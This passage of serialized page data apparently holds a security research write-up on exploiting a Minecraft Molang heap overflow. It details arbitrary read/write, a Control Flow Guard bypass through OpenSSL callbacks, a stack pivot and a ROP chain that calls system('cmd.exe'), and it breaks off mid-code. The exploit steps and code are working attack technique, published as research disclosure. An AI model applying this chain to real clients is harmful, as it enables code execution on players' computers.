",{"type":20,"tag":119,"props":153555,"children":153557},{"className":153556},[],[153558],{"type":26,"value":148382},{"type":26,"value":152167},{"type":20,"tag":119,"props":153561,"children":153563},{"className":153562},[],[153564],{"type":26,"value":151362},{"type":26,"value":153566},". From there, the script can overwrite three variable indices at offset ",{"type":20,"tag":119,"props":153568,"children":153570},{"className":153569},[],[153571],{"type":26,"value":151120},{"type":26,"value":153573}," within the ",{"type":20,"tag":119,"props":153575,"children":153577},{"className":153576},[],[153578],{"type":26,"value":151362},{"type":26,"value":153580}," by using the string type. This works because a Molang string's value is just a ",{"type":20,"tag":119,"props":153582,"children":153584},{"className":153583},[],[153585],{"type":26,"value":53887},{"type":26,"value":153587}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":20,"tag":119,"props":153589,"children":153591},{"className":153590},[],[153592],{"type":26,"value":153593},"0xfb",{"type":26,"value":44},{"type":20,"tag":119,"props":153596,"children":153598},{"className":153597},[],[153599],{"type":26,"value":153600},"0xfc",{"type":26,"value":9392},{"type":20,"tag":119,"props":153603,"children":153605},{"className":153604},[],[153606],{"type":26,"value":153607},"0xfd",{"type":26,"value":153609}," the script would do:",{"type":20,"tag":305,"props":153611,"children":153613},{"code":153612},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[153614],{"type":20,"tag":119,"props":153615,"children":153616},{"__ignoreMap":7},[153617],{"type":26,"value":153612},{"type":20,"tag":29,"props":153619,"children":153620},{},[153621,153623,153628,153629,153635,153637,153642],{"type":26,"value":153622},"That line would write the ",{"type":20,"tag":119,"props":153624,"children":153626},{"className":153625},[],[153627],{"type":26,"value":53887},{"type":26,"value":90431},{"type":20,"tag":119,"props":153630,"children":153632},{"className":153631},[],[153633],{"type":26,"value":153634},"0x302700fb00fc00fd",{"type":26,"value":153636}," (string's FNV-1 hash) into the allocated ",{"type":20,"tag":119,"props":153638,"children":153640},{"className":153639},[],[153641],{"type":26,"value":151362},{"type":26,"value":153643}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":20,"tag":219,"props":153645,"children":153647},{"id":153646},"hijacking-execution",[153648],{"type":26,"value":153649},"Hijacking Execution",{"type":20,"tag":29,"props":153651,"children":153652},{},[153653,153655,153660,153662,153668],{"type":26,"value":153654},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":20,"tag":119,"props":153656,"children":153658},{"className":153657},[],[153659],{"type":26,"value":153197},{"type":26,"value":153661}," and function pointers in the writable ",{"type":20,"tag":119,"props":153663,"children":153665},{"className":153664},[],[153666],{"type":26,"value":153667},".data",{"type":26,"value":153669}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":20,"tag":29,"props":153671,"children":153672},{},[153673],{"type":26,"value":153674},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":20,"tag":29,"props":153676,"children":153677},{},[153678],{"type":26,"value":153679},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":20,"tag":29,"props":153681,"children":153682},{},[153683],{"type":20,"tag":2308,"props":153684,"children":153686},{"alt":48830,"src":153685},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":20,"tag":29,"props":153688,"children":153689},{},[153690,153692,153698,153700,153706,153708,153713,153715,153720,153722,153728,153730,153735,153737,153743,153745,153750],{"type":26,"value":153691},"This snippet calls a method on an object: ",{"type":20,"tag":119,"props":153693,"children":153695},{"className":153694},[],[153696],{"type":26,"value":153697},"rcx",{"type":26,"value":153699}," holds the object pointer, the first ",{"type":20,"tag":119,"props":153701,"children":153703},{"className":153702},[],[153704],{"type":26,"value":153705},"mov",{"type":26,"value":153707}," loads the object's ",{"type":20,"tag":119,"props":153709,"children":153711},{"className":153710},[],[153712],{"type":26,"value":153197},{"type":26,"value":153714}," into ",{"type":20,"tag":119,"props":153716,"children":153718},{"className":153717},[],[153719],{"type":26,"value":55027},{"type":26,"value":153721},", and the function pointer at ",{"type":20,"tag":119,"props":153723,"children":153725},{"className":153724},[],[153726],{"type":26,"value":153727},"rax + 0x8",{"type":26,"value":153729}," is read into ",{"type":20,"tag":119,"props":153731,"children":153733},{"className":153732},[],[153734],{"type":26,"value":55027},{"type":26,"value":153736},". Finally, ",{"type":20,"tag":119,"props":153738,"children":153740},{"className":153739},[],[153741],{"type":26,"value":153742},"__guard_dispatch_icall_fptr",{"type":26,"value":153744}," is called - this is the CFG dispatch function that validates ",{"type":20,"tag":119,"props":153746,"children":153748},{"className":153747},[],[153749],{"type":26,"value":55027},{"type":26,"value":153751}," as a legal call target before invoking it.",{"type":20,"tag":29,"props":153753,"children":153754},{},[153755],{"type":26,"value":153756},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":20,"tag":29,"props":153758,"children":153759},{},[153760],{"type":20,"tag":2308,"props":153761,"children":153763},{"alt":48830,"src":153762},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":20,"tag":29,"props":153765,"children":153766},{},[153767,153769,153775,153777,153783],{"type":26,"value":153768},"Here, the function pointer at ",{"type":20,"tag":119,"props":153770,"children":153772},{"className":153771},[],[153773],{"type":26,"value":153774},"vtable + 0x10",{"type":26,"value":153776}," is loaded into ",{"type":20,"tag":119,"props":153778,"children":153780},{"className":153779},[],[153781],{"type":26,"value":153782},"rdx",{"type":26,"value":153784}," and then called directly.",{"type":20,"tag":29,"props":153786,"children":153787},{},[153788],{"type":26,"value":153789},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":20,"tag":29,"props":153791,"children":153792},{},[153793,153795,153800],{"type":26,"value":153794},"So the remaining task is to locate OpenSSL function or ",{"type":20,"tag":119,"props":153796,"children":153798},{"className":153797},[],[153799],{"type":26,"value":153197},{"type":26,"value":153801}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":20,"tag":17297,"props":153803,"children":153805},{"id":153804},"locating-overwrite-targets",[153806],{"type":26,"value":153807},"Locating Overwrite Targets",{"type":20,"tag":29,"props":153809,"children":153810},{},[153811,153813,153819,153820,153825,153827,153832,153834,153840],{"type":26,"value":153812},"One of the first targets we identified were the ",{"type":20,"tag":119,"props":153814,"children":153816},{"className":153815},[],[153817],{"type":26,"value":153818},"malloc",{"type":26,"value":9392},{"type":20,"tag":119,"props":153821,"children":153823},{"className":153822},[],[153824],{"type":26,"value":148430},{"type":26,"value":153826}," callbacks. These reside in the ",{"type":20,"tag":119,"props":153828,"children":153830},{"className":153829},[],[153831],{"type":26,"value":153667},{"type":26,"value":153833}," section and are invoked whenever they don’t match the expected ",{"type":20,"tag":119,"props":153835,"children":153837},{"className":153836},[],[153838],{"type":26,"value":153839},"OPENSSL_malloc/free",{"type":26,"value":130288},{"type":20,"tag":29,"props":153842,"children":153843},{},[153844],{"type":20,"tag":2308,"props":153845,"children":153847},{"alt":48830,"src":153846},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":20,"tag":29,"props":153849,"children":153850},{},[153851],{"type":26,"value":153852},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":20,"tag":29,"props":153854,"children":153855},{},[153856,153858,153864,153866,153872,153874,153879],{"type":26,"value":153857},"Later, we found another promising function: ",{"type":20,"tag":119,"props":153859,"children":153861},{"className":153860},[],[153862],{"type":26,"value":153863},"ossl_ec_key_new_method_int",{"type":26,"value":153865},". This function creates and initializes an ",{"type":20,"tag":119,"props":153867,"children":153869},{"className":153868},[],[153870],{"type":26,"value":153871},"EC_KEY",{"type":26,"value":153873}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":20,"tag":119,"props":153875,"children":153877},{"className":153876},[],[153878],{"type":26,"value":153667},{"type":26,"value":153880},") containing function pointers:",{"type":20,"tag":29,"props":153882,"children":153883},{},[153884],{"type":20,"tag":2308,"props":153885,"children":153887},{"alt":48830,"src":153886},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":20,"tag":29,"props":153889,"children":153890},{},[153891,153893,153899,153900,153906,153908,153913,153915,153921,153923,153928,153930,153935,153937,153942],{"type":26,"value":153892},"In the image above, ",{"type":20,"tag":119,"props":153894,"children":153896},{"className":153895},[],[153897],{"type":26,"value":153898},"ret->meth",{"type":26,"value":123752},{"type":20,"tag":119,"props":153901,"children":153903},{"className":153902},[],[153904],{"type":26,"value":153905},"default_ec_key_meth",{"type":26,"value":153907},", which points to a structure of function pointers located in ",{"type":20,"tag":119,"props":153909,"children":153911},{"className":153910},[],[153912],{"type":26,"value":153667},{"type":26,"value":153914},". It then calls ",{"type":20,"tag":119,"props":153916,"children":153918},{"className":153917},[],[153919],{"type":26,"value":153920},"ret->meth->init",{"type":26,"value":153922},", passing the ",{"type":20,"tag":119,"props":153924,"children":153926},{"className":153925},[],[153927],{"type":26,"value":16095},{"type":26,"value":153929}," pointer (",{"type":20,"tag":119,"props":153931,"children":153933},{"className":153932},[],[153934],{"type":26,"value":9390},{"type":26,"value":153936},"). This alone isn’t especially useful because ",{"type":20,"tag":119,"props":153938,"children":153940},{"className":153939},[],[153941],{"type":26,"value":9390},{"type":26,"value":153943}," is heap-allocated.",{"type":20,"tag":29,"props":153945,"children":153946},{},[153947,153949,153954],{"type":26,"value":153948},"But, if we look at how ",{"type":20,"tag":119,"props":153950,"children":153952},{"className":153951},[],[153953],{"type":26,"value":153920},{"type":26,"value":153955}," is invoked in the disassembly:",{"type":20,"tag":29,"props":153957,"children":153958},{},[153959],{"type":20,"tag":2308,"props":153960,"children":153962},{"alt":48830,"src":153961},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":20,"tag":29,"props":153964,"children":153965},{},[153966,153967,153972,153974,153979,153981,153986,153988,153993,153995,154000,154002,154007,154009,154014,154016,154022],{"type":26,"value":5875},{"type":20,"tag":119,"props":153968,"children":153970},{"className":153969},[],[153971],{"type":26,"value":153920},{"type":26,"value":153973}," is not ",{"type":20,"tag":119,"props":153975,"children":153977},{"className":153976},[],[153978],{"type":26,"value":52748},{"type":26,"value":153980},", it is called while ",{"type":20,"tag":119,"props":153982,"children":153984},{"className":153983},[],[153985],{"type":26,"value":55027},{"type":26,"value":153987}," still contains the value of ",{"type":20,"tag":119,"props":153989,"children":153991},{"className":153990},[],[153992],{"type":26,"value":153898},{"type":26,"value":153994}," - that is, a pointer to the structure in ",{"type":20,"tag":119,"props":153996,"children":153998},{"className":153997},[],[153999],{"type":26,"value":153667},{"type":26,"value":154001}," that we control. This is ideal, because we can overwrite ",{"type":20,"tag":119,"props":154003,"children":154005},{"className":154004},[],[154006],{"type":26,"value":153905},{"type":26,"value":154008}," with a pointer to a region in ",{"type":20,"tag":119,"props":154010,"children":154012},{"className":154011},[],[154013],{"type":26,"value":153667},{"type":26,"value":154015}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":20,"tag":119,"props":154017,"children":154019},{"className":154018},[],[154020],{"type":26,"value":154021},"mov rsp, rax; ret",{"type":26,"value":154023},"-style gadget.",{"type":20,"tag":29,"props":154025,"children":154026},{},[154027,154029,154034,154036,154041],{"type":26,"value":154028},"Although we discovered that ",{"type":20,"tag":119,"props":154030,"children":154032},{"className":154031},[],[154033],{"type":26,"value":153863},{"type":26,"value":154035}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":20,"tag":119,"props":154037,"children":154039},{"className":154038},[],[154040],{"type":26,"value":153839},{"type":26,"value":154042}," callbacks.",{"type":20,"tag":17297,"props":154044,"children":154046},{"id":154045},"stack-pivot",[154047],{"type":26,"value":154048},"Stack Pivot",{"type":20,"tag":29,"props":154050,"children":154051},{},[154052,154054,154059,154061,154066,154068,154073,154075,154081],{"type":26,"value":154053},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":20,"tag":119,"props":154055,"children":154057},{"className":154056},[],[154058],{"type":26,"value":153667},{"type":26,"value":154060},", overwrite ",{"type":20,"tag":119,"props":154062,"children":154064},{"className":154063},[],[154065],{"type":26,"value":153905},{"type":26,"value":154067}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":20,"tag":119,"props":154069,"children":154071},{"className":154070},[],[154072],{"type":26,"value":153863},{"type":26,"value":154074},". This ultimately calls ",{"type":20,"tag":119,"props":154076,"children":154078},{"className":154077},[],[154079],{"type":26,"value":154080},"default_ec_key_meth->init",{"type":26,"value":154082},", which executes the pivot and begins ROP execution.",{"type":20,"tag":29,"props":154084,"children":154085},{},[154086,154088,154094,154096,154102],{"type":26,"value":154087},"We chose to overwrite the ",{"type":20,"tag":119,"props":154089,"children":154091},{"className":154090},[],[154092],{"type":26,"value":154093},"OPENSSL_free",{"type":26,"value":154095}," callback. This produces only a minor memory leak, while overwriting ",{"type":20,"tag":119,"props":154097,"children":154099},{"className":154098},[],[154100],{"type":26,"value":154101},"OPENSSL_malloc",{"type":26,"value":154103}," would require our replacement function to return a writable, unused memory region.",{"type":20,"tag":29,"props":154105,"children":154106},{},[154107,154109,154115,154116,154122,154124,154129],{"type":26,"value":154108},"For the stack pivot, we found two useful gadgets: ",{"type":20,"tag":119,"props":154110,"children":154112},{"className":154111},[],[154113],{"type":26,"value":154114},"add rsp, 0x10; pop r14; ret",{"type":26,"value":9392},{"type":20,"tag":119,"props":154117,"children":154119},{"className":154118},[],[154120],{"type":26,"value":154121},"xchg rsp, rax; ret",{"type":26,"value":154123},". The exploit writes them into ",{"type":20,"tag":119,"props":154125,"children":154127},{"className":154126},[],[154128],{"type":26,"value":153667},{"type":26,"value":154130}," like this:",{"type":20,"tag":305,"props":154132,"children":154134},{"code":154133}," +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n +-----------------------------+\n+0x08 | padding |\n +-----------------------------+\n+0x10 | xchg rsp, rax; ret |\n +-----------------------------+\n+0x18 | padding (pop r14) |\n +-----------------------------+\n+0x20 | ROP Chain |\n +-----------------------------+\n",[154135],{"type":20,"tag":119,"props":154136,"children":154137},{"__ignoreMap":7},[154138],{"type":26,"value":154133},{"type":20,"tag":29,"props":154140,"children":154141},{},[154142,154144,154149,154151,154156,154158,154163,154165,154170,154172,154177,154179,154184,154186,154191],{"type":26,"value":154143},"The second gadget, ",{"type":20,"tag":119,"props":154145,"children":154147},{"className":154146},[],[154148],{"type":26,"value":154121},{"type":26,"value":154150},", is placed in the slot corresponding to the ",{"type":20,"tag":119,"props":154152,"children":154154},{"className":154153},[],[154155],{"type":26,"value":19144},{"type":26,"value":154157}," function pointer. As mentioned earlier, when ",{"type":20,"tag":119,"props":154159,"children":154161},{"className":154160},[],[154162],{"type":26,"value":153920},{"type":26,"value":154164}," is called, ",{"type":20,"tag":119,"props":154166,"children":154168},{"className":154167},[],[154169],{"type":26,"value":55027},{"type":26,"value":154171}," contains a pointer to ",{"type":20,"tag":119,"props":154173,"children":154175},{"className":154174},[],[154176],{"type":26,"value":153905},{"type":26,"value":154178}," - which we have overwritten and now points to our ",{"type":20,"tag":119,"props":154180,"children":154182},{"className":154181},[],[154183],{"type":26,"value":154114},{"type":26,"value":154185}," gadget in ",{"type":20,"tag":119,"props":154187,"children":154189},{"className":154188},[],[154190],{"type":26,"value":153667},{"type":26,"value":61},{"type":20,"tag":29,"props":154193,"children":154194},{},[154195,154197,154203,154205,154210,154212,154218,154220,154225,154227,154232,154234,154239,154241,154246,154248,154253,154255,154260],{"type":26,"value":154196},"When the call occurs, ",{"type":20,"tag":119,"props":154198,"children":154200},{"className":154199},[],[154201],{"type":26,"value":154202},"xchg rsp, rax",{"type":26,"value":154204}," swaps the stack pointer with this controlled pointer inside ",{"type":20,"tag":119,"props":154206,"children":154208},{"className":154207},[],[154209],{"type":26,"value":153667},{"type":26,"value":154211},", effectively moving ",{"type":20,"tag":119,"props":154213,"children":154215},{"className":154214},[],[154216],{"type":26,"value":154217},"rsp",{"type":26,"value":154219}," into our ROP region. After the ",{"type":20,"tag":119,"props":154221,"children":154223},{"className":154222},[],[154224],{"type":26,"value":9390},{"type":26,"value":154226},", execution continues at ",{"type":20,"tag":119,"props":154228,"children":154230},{"className":154229},[],[154231],{"type":26,"value":154114},{"type":26,"value":154233},", which advances ",{"type":20,"tag":119,"props":154235,"children":154237},{"className":154236},[],[154238],{"type":26,"value":154217},{"type":26,"value":154240}," by ",{"type":20,"tag":119,"props":154242,"children":154244},{"className":154243},[],[154245],{"type":26,"value":42955},{"type":26,"value":154247}," bytes, skipping over the padding and the ",{"type":20,"tag":119,"props":154249,"children":154251},{"className":154250},[],[154252],{"type":26,"value":154121},{"type":26,"value":154254}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":20,"tag":119,"props":154256,"children":154258},{"className":154257},[],[154259],{"type":26,"value":154121},{"type":26,"value":154261},") begins executing.",{"type":20,"tag":219,"props":154263,"children":154265},{"id":154264},"rop-chain",[154266],{"type":26,"value":154267},"ROP Chain",{"type":20,"tag":29,"props":154269,"children":154270},{},[154271,154273,154279,154281,154286],{"type":26,"value":154272},"For the demo, the ROP chain simply calls ",{"type":20,"tag":119,"props":154274,"children":154276},{"className":154275},[],[154277],{"type":26,"value":154278},"system(\"cmd.exe\")",{"type":26,"value":154280},". Because Minecraft does not use ",{"type":20,"tag":119,"props":154282,"children":154284},{"className":154283},[],[154285],{"type":26,"value":130010},{"type":26,"value":154287},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":20,"tag":29,"props":154289,"children":154290},{},[154291,154293,154299,154301,154307,154309,154314,154316,154322,154324,154329],{"type":26,"value":154292},"This is straightforward: the chain first calls ",{"type":20,"tag":119,"props":154294,"children":154296},{"className":154295},[],[154297],{"type":26,"value":154298},"GetModuleHandle(\"ucrtbase.dll\")",{"type":26,"value":154300}," to obtain the base address of ",{"type":20,"tag":119,"props":154302,"children":154304},{"className":154303},[],[154305],{"type":26,"value":154306},"ucrtbase.dll",{"type":26,"value":154308}," (which exports ",{"type":20,"tag":119,"props":154310,"children":154312},{"className":154311},[],[154313],{"type":26,"value":130010},{"type":26,"value":154315},"). It then calls ",{"type":20,"tag":119,"props":154317,"children":154319},{"className":154318},[],[154320],{"type":26,"value":154321},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":26,"value":154323}," to retrieve the function’s address. Finally, it invokes ",{"type":20,"tag":119,"props":154325,"children":154327},{"className":154326},[],[154328],{"type":26,"value":130010},{"type":26,"value":154330}," with the \"cmd.exe\" string.",{"type":20,"tag":29,"props":154332,"children":154333},{},[154334],{"type":26,"value":154335},"In the exploit script, the ROP chain looks something like this:",{"type":20,"tag":305,"props":154337,"children":154339},{"code":154338,"language":17864,"meta":7,"className":17865,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[154340],{"type":20,"tag":119,"props":154341,"children":154342},{"__ignoreMap":7},[154343,154351,154359,154384,154392,154400,154407,154415,154423,154450,154463,154476,154497,154526,154555,154562,154570,154583,154591,154627,154635,154642,154650,154657,154682,154693,154705],{"type":20,"tag":315,"props":154344,"children":154345},{"class":317,"line":318},[154346],{"type":20,"tag":315,"props":154347,"children":154348},{"style":1071},[154349],{"type":26,"value":154350},"# get the address of `GetModuleHandle` to `rax`\n",{"type":20,"tag":315,"props":154352,"children":154353},{"class":317,"line":356},[154354],{"type":20,"tag":315,"props":154355,"children":154356},{"style":328},[154357],{"type":26,"value":154358},"rop.gadget(pop_r8)\n",{"type":20,"tag":315,"props":154360,"children":154361},{"class":317,"line":365},[154362,154367,154371,154376,154380],{"type":20,"tag":315,"props":154363,"children":154364},{"style":328},[154365],{"type":26,"value":154366},"rop.gadget(addr_get_module_handle_a ",{"type":20,"tag":315,"props":154368,"children":154369},{"style":334},[154370],{"type":26,"value":478},{"type":20,"tag":315,"props":154372,"children":154373},{"style":541},[154374],{"type":26,"value":154375}," 0x",{"type":20,"tag":315,"props":154377,"children":154378},{"style":765},[154379],{"type":26,"value":133127},{"type":20,"tag":315,"props":154381,"children":154382},{"style":328},[154383],{"type":26,"value":380},{"type":20,"tag":315,"props":154385,"children":154386},{"class":317,"line":374},[154387],{"type":20,"tag":315,"props":154388,"children":154389},{"style":1071},[154390],{"type":26,"value":154391},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":20,"tag":315,"props":154393,"children":154394},{"class":317,"line":383},[154395],{"type":20,"tag":315,"props":154396,"children":154397},{"style":328},[154398],{"type":26,"value":154399},"rop.gadget(mov_rax_r8_28)\n",{"type":20,"tag":315,"props":154401,"children":154402},{"class":317,"line":407},[154403],{"type":20,"tag":315,"props":154404,"children":154405},{"emptyLinePlaceholder":15},[154406],{"type":26,"value":427},{"type":20,"tag":315,"props":154408,"children":154409},{"class":317,"line":421},[154410],{"type":20,"tag":315,"props":154411,"children":154412},{"style":1071},[154413],{"type":26,"value":154414},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":20,"tag":315,"props":154416,"children":154417},{"class":317,"line":430},[154418],{"type":20,"tag":315,"props":154419,"children":154420},{"style":328},[154421],{"type":26,"value":154422},"rop.gadget(pop_rcx)\n",{"type":20,"tag":315,"props":154424,"children":154425},{"class":317,"line":453},[154426,154431,154436,154441,154445],{"type":20,"tag":315,"props":154427,"children":154428},{"style":328},[154429],{"type":26,"value":154430},"rop.gadget(",{"type":20,"tag":315,"props":154432,"children":154433},{"style":541},[154434],{"type":26,"value":154435},"0x",{"type":20,"tag":315,"props":154437,"children":154438},{"style":765},[154439],{"type":26,"value":154440},"7468B68",{"type":20,"tag":315,"props":154442,"children":154443},{"style":328},[154444],{"type":26,"value":1468},{"type":20,"tag":315,"props":154446,"children":154447},{"style":1071},[154448],{"type":26,"value":154449},"# offset of \"ucrtbase.dll\" string\n",{"type":20,"tag":315,"props":154451,"children":154452},{"class":317,"line":486},[154453,154458],{"type":20,"tag":315,"props":154454,"children":154455},{"style":328},[154456],{"type":26,"value":154457},"rop.gadget(ret) ",{"type":20,"tag":315,"props":154459,"children":154460},{"style":1071},[154461],{"type":26,"value":154462},"# movaps alignment\n",{"type":20,"tag":315,"props":154464,"children":154465},{"class":317,"line":499},[154466,154471],{"type":20,"tag":315,"props":154467,"children":154468},{"style":328},[154469],{"type":26,"value":154470},"rop.gadget(push_rax_ret) ",{"type":20,"tag":315,"props":154472,"children":154473},{"style":1071},[154474],{"type":26,"value":154475},"# calls `GetModuleHandle`\n",{"type":20,"tag":315,"props":154477,"children":154478},{"class":317,"line":513},[154479,154484,154488,154493],{"type":20,"tag":315,"props":154480,"children":154481},{"style":328},[154482],{"type":26,"value":154483},"rop.literal(u64(",{"type":20,"tag":315,"props":154485,"children":154486},{"style":541},[154487],{"type":26,"value":1604},{"type":20,"tag":315,"props":154489,"children":154490},{"style":2652},[154491],{"type":26,"value":154492},"\"ucrtbase\"",{"type":20,"tag":315,"props":154494,"children":154495},{"style":328},[154496],{"type":26,"value":18116},{"type":20,"tag":315,"props":154498,"children":154499},{"class":317,"line":521},[154500,154504,154508,154513,154518,154522],{"type":20,"tag":315,"props":154501,"children":154502},{"style":328},[154503],{"type":26,"value":154483},{"type":20,"tag":315,"props":154505,"children":154506},{"style":541},[154507],{"type":26,"value":1604},{"type":20,"tag":315,"props":154509,"children":154510},{"style":2652},[154511],{"type":26,"value":154512},"\".dll",{"type":20,"tag":315,"props":154514,"children":154515},{"style":46624},[154516],{"type":26,"value":154517},"\\x00\\x00\\x00\\x00",{"type":20,"tag":315,"props":154519,"children":154520},{"style":2652},[154521],{"type":26,"value":18463},{"type":20,"tag":315,"props":154523,"children":154524},{"style":328},[154525],{"type":26,"value":18116},{"type":20,"tag":315,"props":154527,"children":154528},{"class":317,"line":552},[154529,154533,154537,154542,154547,154551],{"type":20,"tag":315,"props":154530,"children":154531},{"style":328},[154532],{"type":26,"value":154483},{"type":20,"tag":315,"props":154534,"children":154535},{"style":541},[154536],{"type":26,"value":1604},{"type":20,"tag":315,"props":154538,"children":154539},{"style":2652},[154540],{"type":26,"value":154541},"\"system",{"type":20,"tag":315,"props":154543,"children":154544},{"style":46624},[154545],{"type":26,"value":154546},"\\x00\\x00",{"type":20,"tag":315,"props":154548,"children":154549},{"style":2652},[154550],{"type":26,"value":18463},{"type":20,"tag":315,"props":154552,"children":154553},{"style":328},[154554],{"type":26,"value":18116},{"type":20,"tag":315,"props":154556,"children":154557},{"class":317,"line":571},[154558],{"type":20,"tag":315,"props":154559,"children":154560},{"emptyLinePlaceholder":15},[154561],{"type":26,"value":427},{"type":20,"tag":315,"props":154563,"children":154564},{"class":317,"line":2031},[154565],{"type":20,"tag":315,"props":154566,"children":154567},{"style":1071},[154568],{"type":26,"value":154569},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":20,"tag":315,"props":154571,"children":154572},{"class":317,"line":2053},[154573,154578],{"type":20,"tag":315,"props":154574,"children":154575},{"style":328},[154576],{"type":26,"value":154577},"rop.gadget(xchg_rcx_rax) ",{"type":20,"tag":315,"props":154579,"children":154580},{"style":1071},[154581],{"type":26,"value":154582},"# move the return value of `GetModuleHandle` to rcx\n",{"type":20,"tag":315,"props":154584,"children":154585},{"class":317,"line":2061},[154586],{"type":20,"tag":315,"props":154587,"children":154588},{"style":328},[154589],{"type":26,"value":154590},"rop.gadget(pop_rdx)\n",{"type":20,"tag":315,"props":154592,"children":154593},{"class":317,"line":2070},[154594,154598,154602,154606,154610,154614,154618,154622],{"type":20,"tag":315,"props":154595,"children":154596},{"style":328},[154597],{"type":26,"value":154430},{"type":20,"tag":315,"props":154599,"children":154600},{"style":541},[154601],{"type":26,"value":154435},{"type":20,"tag":315,"props":154603,"children":154604},{"style":765},[154605],{"type":26,"value":154440},{"type":20,"tag":315,"props":154607,"children":154608},{"style":334},[154609],{"type":26,"value":7301},{"type":20,"tag":315,"props":154611,"children":154612},{"style":541},[154613],{"type":26,"value":154375},{"type":20,"tag":315,"props":154615,"children":154616},{"style":765},[154617],{"type":26,"value":87511},{"type":20,"tag":315,"props":154619,"children":154620},{"style":328},[154621],{"type":26,"value":1468},{"type":20,"tag":315,"props":154623,"children":154624},{"style":1071},[154625],{"type":26,"value":154626},"# offset of \"system\" string\n",{"type":20,"tag":315,"props":154628,"children":154629},{"class":317,"line":2139},[154630],{"type":20,"tag":315,"props":154631,"children":154632},{"style":328},[154633],{"type":26,"value":154634},"rop.gadget(get_proc_addr)\n",{"type":20,"tag":315,"props":154636,"children":154637},{"class":317,"line":2147},[154638],{"type":20,"tag":315,"props":154639,"children":154640},{"emptyLinePlaceholder":15},[154641],{"type":26,"value":427},{"type":20,"tag":315,"props":154643,"children":154644},{"class":317,"line":2177},[154645],{"type":20,"tag":315,"props":154646,"children":154647},{"style":1071},[154648],{"type":26,"value":154649},"# call `system(\"cmd.exe\")`\n",{"type":20,"tag":315,"props":154651,"children":154652},{"class":317,"line":2185},[154653],{"type":20,"tag":315,"props":154654,"children":154655},{"style":328},[154656],{"type":26,"value":154422},{"type":20,"tag":315,"props":154658,"children":154659},{"class":317,"line":2217},[154660,154664,154668,154673,154677],{"type":20,"tag":315,"props":154661,"children":154662},{"style":328},[154663],{"type":26,"value":154430},{"type":20,"tag":315,"props":154665,"children":154666},{"style":541},[154667],{"type":26,"value":154435},{"type":20,"tag":315,"props":154669,"children":154670},{"style":765},[154671],{"type":26,"value":154672},"7468DB8",{"type":20,"tag":315,"props":154674,"children":154675},{"style":328},[154676],{"type":26,"value":1468},{"type":20,"tag":315,"props":154678,"children":154679},{"style":1071},[154680],{"type":26,"value":154681},"# offset of \"cmd.exe\" string\n",{"type":20,"tag":315,"props":154683,"children":154684},{"class":317,"line":2225},[154685,154689],{"type":20,"tag":315,"props":154686,"children":154687},{"style":328},[154688],{"type":26,"value":154457},{"type":20,"tag":315,"props":154690,"children":154691},{"style":1071},[154692],{"type":26,"value":154462},{"type":20,"tag":315,"props":154694,"children":154695},{"class":317,"line":2285},[154696,154700],{"type":20,"tag":315,"props":154697,"children":154698},{"style":328},[154699],{"type":26,"value":154470},{"type":20,"tag":315,"props":154701,"children":154702},{"style":1071},[154703],{"type":26,"value":154704},"# calls 